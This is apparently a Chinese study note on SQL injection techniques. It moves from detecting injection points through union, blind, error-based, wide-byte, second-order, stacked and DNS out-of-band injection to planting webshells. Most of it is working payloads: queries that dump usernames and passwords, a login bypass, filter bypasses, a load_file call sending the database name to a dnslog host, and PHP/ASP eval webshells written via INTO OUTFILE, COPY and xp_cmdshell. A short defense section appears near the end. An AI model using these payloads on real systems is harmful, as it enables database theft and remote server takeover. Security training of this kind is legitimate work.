SQL

SQL
Att@ckxu联合查询注入
判断是否存在注入
最为经典的单引号判断法
利用'
或''
来判断是否存在漏洞,在参数后面加上单引号,比如http://xxx/abc.php?id=1'
,如果页面返回错误,则存在SQL注入
原因是无论是字符型还是数字型都会因为单引号个数不匹配而报错
(如果未报错,不代表不存在SQL注入,因为有可能是页面对单引号进行了过滤,这时可以使用判断语句进行注入)
判断闭合方式:
?id=1’
?id=1”
结果一:如果都报错
判断闭合符为:整形闭合。
结果二:如果单引号报错,双引号不报错。
继续尝试
?id=1’ –+
结果1:无报错
判断闭合符为:单引号闭合。
结果2:报错
判断闭合符可能为:单引号加括号。
结果三:如果单引号不报错,双引号报错。
继续尝试
?id=1” –+
结果1:结果无报错
判断闭合符为:双引号闭合。
结果2:报错
判断闭合符可能为:双引号加括号。
判断SQL注入的类型
【干货】如何判断 Sql 注入点_判断是否存在sql注入-CSDN博客
通常SQL注入数据类型分为两种
- 字符型
- 数字型
数字型和字符型的区别就是,网站源文件中的sql查询语句有没有单引号,有单引号时,我们需要闭合单引号,为字符型
数字型
用经典的1 and 1=1
和1 and 1=2
来判断
- Url 地址中输入
http://xxx/abc.php?id= 1 and 1=1
页面依旧运行正常,继续进行下一步 - Url 地址中继续输入
http://xxx/abc.php?id= 1 and 1=2
页面运行错误,则说明此 Sql 注入为数字型注入。
原因:
当输入 and 1=1时,后台执行 Sql 语句:select * from <表名> where id = 1 and 1=1 没有语法错误且逻辑判断为正确,所以返回正常。
当输入 and 1=2时,后台执行 Sql 语句:select * from <表名> where id = 1 and 1=2 没有语法错误但是逻辑判断为假,所以返回错误。
字符型
用 1' and '1'='1
和1' and '1'='2
来判断
- Url 地址中输入
http://xxx/abc.php?id= 1' and '1'='1
页面运行正常,继续进行下一步。 - Url 地址中继续输入
http://xxx/abc.php?id= 1' and '1'='2
页面运行错误,则说明此 Sql 注入为字符型注入。
前者显示,后者不显示,说明单引号起作用了
1:前者最终查询的是
id='1'并且'1'='1'
2:后者最终查询的是
id='1'并且'1'='2'
,因为’1’=’2’不成立,所以整条语句也不成立,页面返回为空或者错误是由于sql语句不成立导致的
当注入类型为字符型时,牵涉到MySQL的隐式类型转换
'2admin' ==>2 |
因此当注入点为字符型时,我们输入数字型的判断语句1 and 1=1
和1 and 1=2
,都会经过隐式转换为1
,因此查询结果相同
判断表中字段数
用order by来判断
原理:order by是用来根据指定的列来对结果进行排序,当order by后的数字大于当前的列数时就会报错
当我们使用order by时,如果注入点为字符型,输入1' order by 5
,后台查询为select * from <表名> where id = '1' order by 5'
此时单引号没有闭合,因此要在order by 数字
后面加上#
注释掉多余的'
在Url中#会被自动编码为%23(如果不进行Url编码,那么#无法传到后端数据库中,带入查询时无法起作用)
确定显示位
显示位:服务端执行SQL语句查询数据库中的内容,客户端将数据展示在页面中,这个展示数据的位置就叫做显示位
union操作符:用于合并两个或多个select的结果集
- 结果集的列名总是等于union中第一个select语句中的列名
- union内的select语句必须拥有相同数量的列,列也必须有相似的数据类型
- 每条select语句中列的顺序必须相同
-1' union select 1,2,...# (列数) |
在实战中一般不查询union左边的内容,这是因为程序在展示数据的时候通常只会取结果集的第一行数据,所以只要让第一行查询的结果是空集,即union左边的select子句查询结果为空,那么union右边的查询结果自然就成为了第一行,打印在网页上了。所以让union左边查询不到,可以将其 改为负数或者改为比较大的数字。
盲注
前端里没有显示位,不能返回sql语句执行错误的信息,输入正确和错误返回的信息都是一致的
类似于无法说话的人,只能通过点头和摇头回复正确与否
布尔盲注
在页面中,正确执行了用户构造的sql语句,返回一种页面,如果sql执行错误,返回另一种页面
true 和 false
count()
来判断数量length()
来判断长度substr()和limit()
来判断具体数据
注入流程
- 判断是否存在注入
- 获取数据库长度
- 逐字猜解数据库名
- 猜解表名数量
- 猜解某个表名长度
- 逐字猜解表名
- 猜解列名数量
- 猜解某个列名长度
- 逐字猜解列名
- 判断数据数量
- 猜解某条数据长度
- 逐位猜解数据
判断是否存在注入
一般使用1 and 1=1
、1 and 1=2
、1' and '1'='1
、1' and '1'='2
来进行判断
一般输入时页面会返回两种情况,一种是对应true,一种是对应false
举例:
当输入1 and 1=1
、1 and 1=2
、1' and '1'='1
时,页面都返回“exists“,存在,表示true
当输入1' and '1'='2
时,页面返回”missing“,不存在,表示false
页面返回两种情况,说明存在注入
获取数据库名
获取数据库名长度
使用length()函数来判断
获取数据库名
用substr()函数对数据库名进行字符串截取,以次判断每一位上的字母
substr(string,start,length)
修改start的位置,可以得出其他位置的字母,从而得出完整的数据库名
可以爆破
获取表名
获取表的数量
使用count()
?id=1' and (select count(table_name) from information_schema.tables where table_schema='dvwa')=2%23 |
统计数据表中包含的记录行的总数,或者根据查询结果返回列中包含的数据行\
获取表名长度
分别获取两个表的表名长度
?id=1' and length((select table_name from information_schema.tables where table_schema='dvwa' limit 0,1))>1%23 |
?id=1' and length((select table_name from information_schema.tables where table_schema='dvwa' limit 1,1))=5%23 |
获取具体表名
分别获取两个表具体的表名,使用substr()
?id=1' and substr((select table_name from information_schema.tables where table_schema='dvwa' limit 0,1),1,1)='g'%23 |
?id=1' and substr((select table_name from information_schema.tables where table_schema='dvwa' limit 1,1),1,1)='g'%23 |
获取字段名(列名)
获取某个表中有多少列
分别查看两个表各有多少列
?id=1' and (select count(column_name) from information_schema.columns where table_name='guestbook' and table_schema='dvwa')>1%23 |
获取列名长度
分别获取两个表的每个列名的长度
//length写在外面 |
依次修改limit的第一个参数(从0-2,因为guestbook表有三列)和后面的数字参数,即可得出guestbook表每一列的列名的长度
将表名改为users,爆破点和上面一样,将第一个位置增加到8(一共8列)
获取列名
分别获取两个表中每一列的具体列名
?id=1' and substr((select column_name from information_schema.columns where table_name='guestbook' and table_schema='dvwa' limit 0,1),1,1)='a'%23 |
依次改变substr函数截取的起始位直到10即可完整得到第一个列名。
爆破点:substr的第二个参数(1-10,guestbook第一个表的第一列列名长度为10)
后面的字符(a-z和_)
要获取第二个列名,只需要修改limit的起始位即可。
以此类推
要获得users表的列名时,只需要更改为users
爆破点跟上面一样
获取记录
表中的每一列有多少行数据
某行数据有多长
具体是多少
获取列中有多少行记录
count
?id=1' and (select count(user) from users)=5%23 |
获取记录长度
limit
?id=1' and (select length(user) from users limit 0,1)=5%23 |
获取具体数据
users表中的user列中五行数据中第一行数据长度为5,求出具体数据内容
?id=1' and substr((select user from users limit 0,1),1,1)='a'%23 |
改变limit的第一个参数可以改变所要求的行数(0-4)
时间盲注
不管用户输入什么,网站都没有正确或者错误的页面回显,利用页面的响应时间来判断sql语句有没有执行
时间盲注函数
sleep()
benchmark(N,exp)(N为次数,exp为执行语句,将一个语句执行很多次从而达到时间盲注效果,N通常很大,比如500000000)
注入流程
- 判断是否存在注入
- 获取数据库长度
- 逐字猜解数据库名
- 猜解表名数量
- 猜解某个表名长度
- 逐字猜解表名
- 猜解列名数量
- 猜解某个列名长度
- 逐字猜解列名
- 判断数据数量
- 猜解某条数据长度
- 逐位猜解数据
判断是否存在注入
sleep()
函数,当使用sleep()函数时,观察页面响应时间
1 and sleep(3) |
如果sleep生效,则说明存在sql注入
获取数据库名
获取数据库名长度
if(expr1,expr2,expr3)
第一个条件成立就执行expr2,否则执行expr3(三元表达式)
1' and if(length(database())=8,sleep(3),1)%23 |
其他的步骤和布尔盲注相同,只需要把布尔盲注的语句填入if中的第一个参数即可
报错注入
页面上没有显示位,但是会输出SQL语句执行错误的信息
人为制造错误条件,使得查询结果能够出现在错误信息中
适用于联合查询受阻,后台没有屏蔽数据库报错信息,发生错误时会输出错误信息到前端页面
有的布尔盲注也可以用报错注入
原理
开发人员使用了print_r()
、mysql_error()
、mysqli_connect_error()
函数将mysql错误信息输出到前端,因此可以人为地使用一些指定的函数来制造报错信息,从而获取报错信息中特定的信息
使用常规的union联合查询注入可以发现时无法注出数据的,用盲注又太费时费力,所以可以结合页面的报错信息使用报错注入。
报错注入函数
从mysql5.1.5开始提供两个用于XML查询和修改的函数,通过XML函数进行报错,来进行注入。
- undatexml()
语法:updatexml(XML_document,XPath_srting,new_value)参数1:xml文档的名称;参数2:xpath格式的字符串;参数3:替换查找到的符合条件的数据
- extractvalue()
语法:extractvalue(xml_frag,xpath_expr)第一个参数:目标xml文档;第二个参数:xpath路径法表示的查找路径
Xpath定位必须是有效的,否则会发生错误,我们可以利用这个特性爆出我们想要的数据
注意!!!
- 必须是在xpath那里传特殊字符,mysql才会报错,特殊字符可以使用
~
的16进制0x7e
来表示。- path是一个位置,用了特殊字符就不能再添加参数,所以可以用
concat()
函数将~
和自己想注出的数据进行拼接。concat(str1,str2,str3,):把str1,str2,str3等字符串无缝拼接起来。- path只会报错32个字符。(回显是32位,我们在获取表名或列名的时候可以获取,但有时数据太大,我们无法得到所有的内容)
注入流程
判断是否存在注入,注入类型
方式和联合查询注入、盲注一样
输入1
和1'
,如果输入1页面正常显示,输入1’页面有报错,则说明很有可能存在注入
再使用1 and 1=1
、1 and 1=2
、1' and '1'='1
、1' and '1'='2
来判断注入类型(同样与盲注测试方式一样)
获取数据库名
获取数据库名的意义:src漏洞挖掘、项目,数据库名算敏感信息
1' and updatexml(1,concat(0x7e,database()),1)%23 |
原因
- 首先回到语法格式上:updatexml(XML_document,XPath_string,new_value),我们必须在XPath_string:这个参数里填充xpath格式的字符串,但是如果我们填充一个不是xpath格式的字符串,就会产生报错,所以语句就变成了updatexml(1,database(),1),前后两个1是随便填充的内容,目的是满足三个参数。
- 由于xpath只会对特殊字符进行报错,这里我们可以用~的16进制
0x7e
来表示,所以就变成了updatexml(1,0x7e,database(),1),但是由于数据库无法认识中间的内容,所以就无法成功执行,所以可以用concat()函数把多个字符串合并成一个,就变成了updatexml(1,concat(0x7e,database()),1)
获取数据库中表名
更改updatexml中的xpath参数的concat函数中的第二个参数内容 |
遇见问题
问题描述 | 方法 |
---|---|
Subquery returns more than 1 row 子查询返回多于一行 |
1. 使用limit()(修改limit第一个参数以至于获取每一行) 2. 使用group_concat() |
数据库中的表更多,内容字段和大于32位,导致无法一次性显示出来 | 使用substr()截取 先截取前32位,再截取后32位,分步获取 1’ and updatexml(1,concat(0x7e,substr((select group_concat(table_name) from information_schema.tables where table_schema=’security’)),1,32),1)%23 |
获取表中字段名
?id=1' and updatexml(1,concat(0x7e,(select group_concat(column_name) from information_schema.columns where table_schema='security' and table_name='users')),1)%23 |
获取表中记录
?id=1' and updatexml(1,concat(0x7e,(select group_concat(id,username,password) from users)),1)%23 |
宽字节注入
是一种绕过方式
一个字符的大小是一个字节->窄字节
一个字符的大小是两个字节->宽字节
像GB2321、GBK、GB18030、B1G5、Shift_JIS等这些编码都是常说的宽字节,也就是只有两个字节。
英文默认占一个字节,中文占两个字节
原理
网站对SQL注入做了防护,例如使用一些MySQL中的转义函数addslashes、mysql_real_escape_string、mysql_escape_string、等(还有一种是php配置文件的magic_quote_gpc设置,不过php高版本已经移除此功能)。这些函数就是过滤用户输入的一些数据,对特殊字符加上反斜杠\
进行转义。
可以使用宽字节注入绕过\
转义
宽字节注入指的是MySQL数据库在使用宽字节(GBK)编码时,会认为两个字符是一个汉字(前一个ascii码要大于128(比如%df),才到汉字的范围),而且当我们输入'
时,MySQL会调用转义函数,将单引号变为\'
,其中\
的十六进制是5c,,MySQL的GBK编码,会认为%df%5c
是一个宽字节,也就是運
,从而使单引号闭合(逃逸),进行注入攻击。
%df%27===>(addslashes)====>%df%5c%27====>(GBK)====>運’ |
当mysql_query(“SET NAMES gbk”)在代码层被写入时,三个字符集(客户端、连接层、结果集)都是GBK编码
注入流程
判断注入
- 输入
1'
,addslashes函数将'
转义为\'
1%df' |
- 输入1%df’,此时转义后%df%5c结合形成一个汉字,查询成功而引起报错,说明存在注入
- 结尾添加注释使单引号闭合,按照正常方法注入即可
1%df'--+ |
注入(使用联合查询注入)
步骤和正常注入一样:
获取字段数、确定显示位、注入
?id=-1%df' union select 1,2,database() --+ |
表名和列名要用'
引起来,该怎么注入?
不能直接在单引号前面再加上%df,同样会使查询内容改变,查询错误
使用十六进制(HEX)编码
将我们需要单引号引起来的内容(数据库名、表名、列名)进行十六进制编码,并再编码后前面加上0x
不是所有情况下的表名列名都要用HEX编码(是只有单引号引起来的需要)!
二次注入
黑盒思路:分析功能有添加后对数据操作的地方(功能点)(很难测出,sql语句的符号影响,转义不能直接看出,容错处理代码中是否有,找到在哪里触发(执行置入的sql语句))
白盒思路:insert后进入select或update的功能的代码块(源代码去审)
注入条件:插入时有转义函数或配置,后续有利用插入的数据(先插入后利用)
有转义函数,(’转义为 ')数据才能正常写入,才能二次注入
实现二次注入,源码中有对应的转义(
<font style="background-color:rgba(255, 255, 255, 0);">magic_quotes_gpc(魔术引号转义)</font>
)或使用转义函数(<font style="background-color:rgba(255, 255, 255, 0);">addslashes</font>
)
原理:
注册新用户时,将注入的内容包含在注册的用户名后:
admin’ and updatexml(1,concat(0x7e,(SELECT version()),0x7e),1)#
成功注入,并查看数据库,数据库中也存放了响应的注入语句
正常登录:登陆后,随便输入旧密码和新密码,点击修改后,由于在登录状态下修改密码时,使用了update的sql语法,将我们的用户名带入查询,触发了注入,发现注入成功,错误回显版本号
二次注入——sqli-labs第24关_sqlilabs第24关-CSDN博客
一共三个页面:登录页面、注册页面、忘记密码页面
看到这里我们可以思考有什么可以注入的地方,在修改密码的时候会带入查询,
我们先注册一个用户admin’#(为闭合做准备)
登录后,修改他的密码,我们这里原密码为123546,修改为111111
回显 显示修改成功
此时修改的是admin的密码
原因就是当我们在修改密码时带入的查询,在修改的用户名处进行了注入,我们的用户名admin’#经过单引号闭合和注释变成了admin,我们修改的就为admin的密码
堆叠注入
堆叠注入触发的条件很苛刻,因为堆叠注入原理就是通过结束符同时执行多条sql语句,
例如php中的mysqli_multi_query函数。与之相对应的mysqli_query()只能执行一条SQL,所以要想目标存在堆叠注入,在目标主机存在类似于mysqli_multi_query()这样的函数,根据数据库类型决定是否支持多条语句执行.
简单来讲就是如果使用mysqli_query()则不存在堆叠注入,如果使用mysqli_multi_query()则存在堆叠注入
支持堆叠数据库:MYSQL MSSQL Postgresql等
条件:
1.存在sql注入
2.未对;进行过滤
3.使用了mysqli_multi_query()
使用:
id=1;CREATE TABLE xxx(test VARCHAR(255)),在传参之后加;后面可以直接写第二条sql语句让他一起执行
2019强网杯-随便注(CTF题型)
‘;show databases;
‘;show tables;
‘;show columns from <font style="background-color:rgba(255, 255, 255, 0);">
1919810931114514</font>
;
‘;select flag from <font style="background-color:rgba(255, 255, 255, 0);">
1919810931114514</font>
;
‘;SeT @a=0x73656c65637420666c61672066726f6d20603139313938313039333131313435313460;prepare execsql from @a;execute execsql;
<font style="background-color:rgba(255, 255, 255, 0);">';show databases;</font>
这似乎是尝试显示数据库
<font style="background-color:rgba(255, 255, 255, 0);">';show tables;</font>
类似于第一个,似乎是尝试显示表。
<font style="background-color:rgba(255, 255, 255, 0);">';show columns from 1919810931114514;</font>
另一次尝试从具有特定名称的表中显示列。
<font style="background-color:rgba(255, 255, 255, 0);">';select flag from 1919810931114514;</font>
类似于前一个,试图从表中选择名为’flag’的列。确保表和列存在。
由于提示不能使用select等,所以使用动态SQL语句,
将想要执行的语句,转换为Hex(16 进制)
<font style="background-color:rgba(255, 255, 255, 0);">';SeT @a=0x73656c65637420666c61672066726f6d20603139313938313039333131313435313460;prepare execsql from @a;execute execsql;</font>
带外注入
产生原因:
有部分注入点是没有回显的,所有读取也是没回显的,采用带外的形式,回显数据
注入条件:
ROOT高权限且支持load_file()
secure-file-priv开启(支持load_file())
条件太苛刻了, 而且已经有root权限,且能够load_file(),直接写文件写马进去了
使用:
select load_file(concat('\\\\',(select database()),'.7logee.dnslog.cn\\aa')); |
在注入点:
id=1 and load_file(concat("\\\\",database(),".7logee.dnslog.cn\\asdt")) |
在dnslog平台观察回显
常见过滤和绕过
关键字被过滤
select等关键字被过滤
解决方法:
- 使用大写绕过(将被过滤的字符改为大写字符)
函数被过滤
database()被过滤
我们更改为大写DATABASE()发现也不能绕过,因为它是对整体database()进行过滤
解决方法:
- 注释绕过
database/**/()
注释符被过滤
当我们使用单引号闭合时,我们发现仍显示没有单引号闭合
解决方法:
使用万能公式1’ and ‘1’=’1,在and前构造payload
判断列数: |
单引号被过滤
使用十六进制编码(HEX)编码内容,前面再加上0x
SQL注入语句中用单引号就不要编码,编码就不用单引号(路径,表名,数据库名等)
sql文件读取时可以也编码路径
防御
- 对用户输入内容进行过滤
- 预编译
- 最小权限原则:对于数据库用户要被授予最小权限,避免使用超级用户连接数据库
- 错误信息处理限制:返回错误信息时应该设置一个固定的错误信息,避免攻击者通过错误信息获取更多的信息
预编译为何能够防御SQL注入
分离SQL代码与数据
预编译将SQL语句的结构与用户输入的数据分开处理。SQL语句的模板在预编译时固定,用户输入的数据随后以参数形式绑定,确保数据不会被解释为SQL代码。参数化查询
预编译使用参数化查询,用户输入的数据作为参数传递,数据库不会将其视为SQL语句的一部分,从而避免了恶意输入改变SQL逻辑。自动转义
预编译时,数据库驱动会自动对参数进行转义,确保特殊字符(如单引号)不会被误解为SQL语法的一部分。防止恶意输入
由于用户输入被视为数据而非代码,恶意输入无法破坏SQL语句的结构,从而防止了SQL注入攻击。
示例
-- 非预编译(易受SQL注入) |
总结
预编译通过分离SQL代码与数据、使用参数化查询和自动转义,有效防止了SQL注入攻击。
Tips
万能密码登录
1' or 1=1# |
常见head头注入
常见的HTTP注入点产生位置为【Referer】、【X-Forwarded-For】、【Cookie】、【X-Real-IP】、【Accept-Language】、【Authorization】
(1)HTTP Referer是header的一部分,当浏览器向web服务器发送请求的时候,一般会带上Referer,告诉服务器我是从哪个页面链接过来的,服务器基此可以获得一些信息用于处理。
(2)X-Forwarded-For:简称XFF头,它代表客户端,用于记录代理信息的,每经过一级代理(匿名代理除外),代理服务器都会把这次请求的来源IP追加在X-Forwarded-For中
(3)Cookie,有时也用其复数形式 Cookies,指某些网站为了辨别用户身份、进行 session 跟踪而储存在用户本地终端上的数据(通常经过加密)
(4)X-Real-IP一般只记录真实发出请求的客户端IP,看下面的例子,
X-Forwarded-For: 1.1.1.1, 2.2.2.2, 3.3.3.3 |
(5)Accept-Language请求头允许客户端声明它可以理解的自然语言,以及优先选择的区域方言
如果屏蔽了错误信息显示,如何判断是否存在注入
如果用户屏蔽了异常信息的显示我们就无法直接通过页面信息确认是否是注入,但是我们可以通过后端响应的状态码来确定是否是注入点,如果返回的状态码为500
,那么我们就可以初步的判定user
参数存在注入了。
写shell条件
在 SQL 注入(SQLi)中,写 WebShell 的前提是数据库具有写入文件的权限,并且目标环境支持解析可执行脚本(如 PHP、ASP、JSP)。一般来说,写 shell 的条件可以归纳如下:
1. 目标数据库必须支持写文件
不同数据库写文件的方式不同,必须满足以下条件:
- MySQL:需要
FILE
权限,可使用SELECT ... INTO OUTFILE
- MSSQL:需要
xp_cmdshell
、BULK INSERT
或OPENROWSET
- PostgreSQL:支持
COPY ... TO
直接写入 - Oracle:可用
UTL_FILE
写入,但需要权限
2. Web 目录必须可写
- 目标数据库可以写入的路径,必须在 Web 目录下(如
/var/www/html/
)。 - 可能需要找到可写目录:
- Windows:
C:\inetpub\wwwroot\
、C:\xampp\htdocs\
- Linux:
/var/www/html/
、/usr/local/apache/htdocs/
- Windows:
如果数据库用户没有写入 Web 目录的权限,写 Shell 会失败。
3. 目标环境能解析 WebShell
- PHP 环境(Apache、Nginx):可以写入
.php
文件。 - ASP/ASP.NET 环境(IIS):可以写入
.asp
或.aspx
文件。 - JSP 环境(Tomcat、Jboss):可以写入
.jsp
文件。
如果写入 .txt
、.log
等,Web 服务器不会执行,而是作为普通文件下载。
4. 具体的 SQL 注入写 Shell 方法
1)MySQL 写 Shell
条件:
- 需要
FILE
权限 - 服务器开启
secure_file_priv=''
(或指向可写目录)
利用 INTO OUTFILE
:
SELECT "<?php eval($_POST['cmd']); ?>" INTO OUTFILE '/var/www/html/shell.php'; |
利用 LOAD DATA INFILE
:
LOAD DATA INFILE '/tmp/shell.txt' INTO TABLE shell; |
限制:
secure_file_priv
可能限制写入路径- 目标环境可能禁用了
INTO OUTFILE
2)MSSQL 写 Shell
条件:
- 需要
xp_cmdshell
开启(默认关闭) - IIS 允许解析
.asp
或.aspx
开启 xp_cmdshell
(如果被禁用):
EXEC sp_configure 'show advanced options', 1; RECONFIGURE; |
使用 echo
写入 ASP Shell:
EXEC xp_cmdshell 'echo <%eval request("cmd")%> > C:\inetpub\wwwroot\shell.asp'; |
使用 bcp
方式写入:
EXEC xp_cmdshell 'bcp "echo <%eval request("cmd")%>" queryout C:\inetpub\wwwroot\shell.asp -c'; |
3)PostgreSQL 写 Shell
条件:
COPY
语句需要superuser
权限- 目标 Web 目录可写
使用 COPY
写入 WebShell:
COPY (SELECT '<?php eval($_POST["cmd"]); ?>') TO '/var/www/html/shell.php'; |
如果 COPY
被限制,可以用 lo_export
:
SELECT lo_export(oid, '/var/www/html/shell.php') FROM pg_largeobject; |
4)Oracle 写 Shell
条件:
UTL_FILE
需要写入权限- 需要 DBA 级别的权限
写入 WebShell:
DECLARE |
5. 其他方法
1)日志文件写入 WebShell
如果数据库本身没有写文件权限,但日志文件可控并且可执行,可以通过 日志注入 方式写入 WebShell。
方法:修改 MySQL 日志
开启 general_log 并写入 Shell
SET global general_log = 1; |
2)内存 UDF(User Defined Function)提权
如果数据库不能直接写文件,但可以执行动态链接库(DLL),可以:
- 上传 UDF 到数据库目录
- 创建自定义函数 调用 Shell
MSSQL 提权
CREATE FUNCTION exec_cmd(@cmd NVARCHAR(4000)) RETURNS INT AS EXTERNAL NAME [dbo.xp_cmdshell]; |
6. 绕过安全限制
1)绕过 secure_file_priv
如果 MySQL 限制 secure_file_priv
:
查看当前限制路径
SHOW VARIABLES LIKE 'secure_file_priv';
寻找 Web 目录是否可写
/tmp/
/var/www/html/
C:\xampp\htdocs\
2)绕过 xp_cmdshell
限制
如果 xp_cmdshell
被禁用:
尝试 SQL Server Job
EXEC msdb.dbo.sp_add_job @job_name='testjob';
EXEC msdb.dbo.sp_add_jobstep @job_name='testjob', @command='cmd /c whoami', @step_id=1;
EXEC msdb.dbo.sp_start_job @job_name='testjob';
3)绕过 open_basedir
限制
如果 PHP open_basedir
限制文件访问:
尝试
phar://
伪协议上传
.htaccess
解除限制php_flag engine on
7. 关键防御措施
- 禁用
INTO OUTFILE
- 限制
secure_file_priv
- 禁用
xp_cmdshell
- 最小化数据库用户权限
- Web 目录禁止写入
- 日志监控 SQL 注入行为
总结
✅ SQL 注入写 Shell 的核心条件:
- 数据库支持写文件
- Web 目录可写
- Web 服务器解析 Shell
- 绕过数据库和系统的安全限制
✅ 不同数据库的写 Shell 方法:
数据库 | 写入方式 | 适用环境 |
---|---|---|
MySQL | INTO OUTFILE / LOAD DATA |
需 FILE 权限 |
MSSQL | xp_cmdshell / bcp |
需 sysadmin 权限 |
PostgreSQL | COPY TO |
需 superuser |
Oracle | UTL_FILE |
需 DBA 级别权限 |
✅ 特殊绕过方式:
- 日志文件注入
- 内存 UDF 提权
- 时间盲注写入
如果数据库配置严格,SQLi 直接写 Shell 难度较大,但可以结合文件包含漏洞或日志注入绕过限制。